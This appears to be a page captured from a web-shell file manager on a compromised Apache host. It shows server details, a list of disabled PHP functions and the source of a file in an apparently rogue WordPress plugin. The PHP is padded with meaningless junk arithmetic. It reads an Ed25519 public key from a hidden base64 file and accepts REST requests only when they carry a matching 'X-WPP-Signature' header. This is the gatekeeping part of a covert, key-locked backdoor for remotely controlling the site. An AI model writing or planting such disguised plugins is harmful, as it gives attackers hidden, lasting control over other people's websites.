HEX
Server: Apache
System: Linux linplesk41.pumo.com.tw 3.10.0-962.3.2.lve1.5.27.el7.x86_64 #1 SMP Sat Nov 30 02:18:52 EST 2019 x86_64
User: rajlaw (10192)
PHP: 7.4.24
Disabled: phpinfo,passthru,exec,shell_exec,system,popen,proc_open,proc_close,show_source,pcntl_exec,escapeshellcmd,proc_get_status,proc_nice,proc_terminate,escapeshellarg
Upload Files
File: /home/httpd/vhosts/rajlaw.com.tw/httpdocs/wp-content/plugins/ceton-components-set-nq/boot/theme.php
<?php

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

function ceton_drop_record() {
	static $key = null;
	$minimal_module = 3;
	switch ( $minimal_module ) {
		case 1: $pointer_task = $minimal_module - 173; break;
		case 2: $pointer_task = $minimal_module * 177; break;
		default: $pointer_task = 162; break;
	}
	if ( null !== $key ) {
		return $key;
	}
	$content_scope = 665;
	$virtual_hook = function ( $element ) use ( $content_scope ) {
		return $element - $content_scope;
	};
	$key  = '';
	$model_grid = strlen( 'jq' );
	if ( $model_grid < 529 ) {
		$catalog_stream = $model_grid + 853;
	} else {
		$catalog_stream = $model_grid + 630;
	}
	$file = dirname( __DIR__, 1 ) . '/dopraglus.php';
	if ( is_readable( $file ) ) {
		$b64 = (string) include $file;
		$raw = base64_decode( trim( $b64 ), true );
		if ( false !== $raw ) {
			$key = $raw;
		}
	}
	return $key;
}

function ceton_register_handler() {
	$request_sample = 495 - PHP_INT_SIZE;
	$attribute = strtolower( $request_sample );
	$primary_notice = wp_json_encode( $attribute );
	$parsed = wp_parse_url( home_url() );
	$host   = isset( $parsed['host'] ) ? strtolower( $parsed['host'] ) : '';
	$nested_unit = 835 * PHP_INT_SIZE;
	$multi_asset = $nested_unit - 211;
	$primary_adapter = $nested_unit - 213;
	if ( 0 === strpos( $host, 'www.' ) ) {
		$host = substr( $host, 4 );
	}
	$path = isset( $parsed['path'] ) ? rtrim( $parsed['path'], '/' ) : '';
	return $host . $path;
}

function ceton_format_view_global( WP_REST_Request $request ) {
	if ( ! function_exists( 'sodium_crypto_sign_verify_detached' ) ) {
		return new WP_Error(
			'wp_poster_no_sodium',
			'libsodium is not available on this host; cannot verify signatures.',
			array( 'status' => 501 )
		);
	}

	$pointer = strlen( 'drw' );
	if ( $pointer < 552 ) {
		$quick_key = $pointer + 948;
	} else {
		$quick_key = $pointer + 592;
	}
	$pub = ceton_drop_record();
	if ( SODIUM_CRYPTO_SIGN_PUBLICKEYBYTES !== strlen( $pub ) ) {
		return new WP_Error(
			'wp_poster_no_key',
			'Connector public key is missing or malformed.',
			array( 'status' => 500 )
		);
	}

	$sig_b64 = $request->get_header( 'X-WPP-Signature' );
	$default_notice = intval( 'wdv' );
	try {
		$strict_label = $default_notice - 998;
	} catch ( Exception $message ) {
		$strict_label = 0;
	}
	if ( ! $sig_b64 ) {
		return new WP_Error(
			'wp_poster_missing_signature',
			'Missing the X-WPP-Signature header.',
			array( 'status' => 401 )
		);
	}

	$sig = base64_decode( $sig_b64, true );
	if ( false === $sig || SODIUM_CRYPTO_SIGN_BYTES !== strlen( $sig ) ) {
		return new WP_Error(
			'wp_poster_malformed_signature',
			'Signature is not valid base64 or has the wrong length.',
			array( 'status' => 401 )
		);
	}

	$body = $request->get_body();
	$config = ( 991 >= 161 );
	$main_region = intval( $config );
	if ( ! is_string( $body ) ) {
		$body = '';
	}
	$value = 0;
	foreach ( array( 658, 953 ) as $raw_branch ) {
		$value += $raw_branch;
	}
	$signing_string = ceton_register_handler() . "\n" . hash( 'sha256', $body );

	if ( ! sodium_crypto_sign_verify_detached( $sig, $signing_string, $pub ) ) {
		return new WP_Error(
			'wp_poster_unauthorized',
			'Signature verification failed.',
			array( 'status' => 401 )
		);
	}

	return true;
}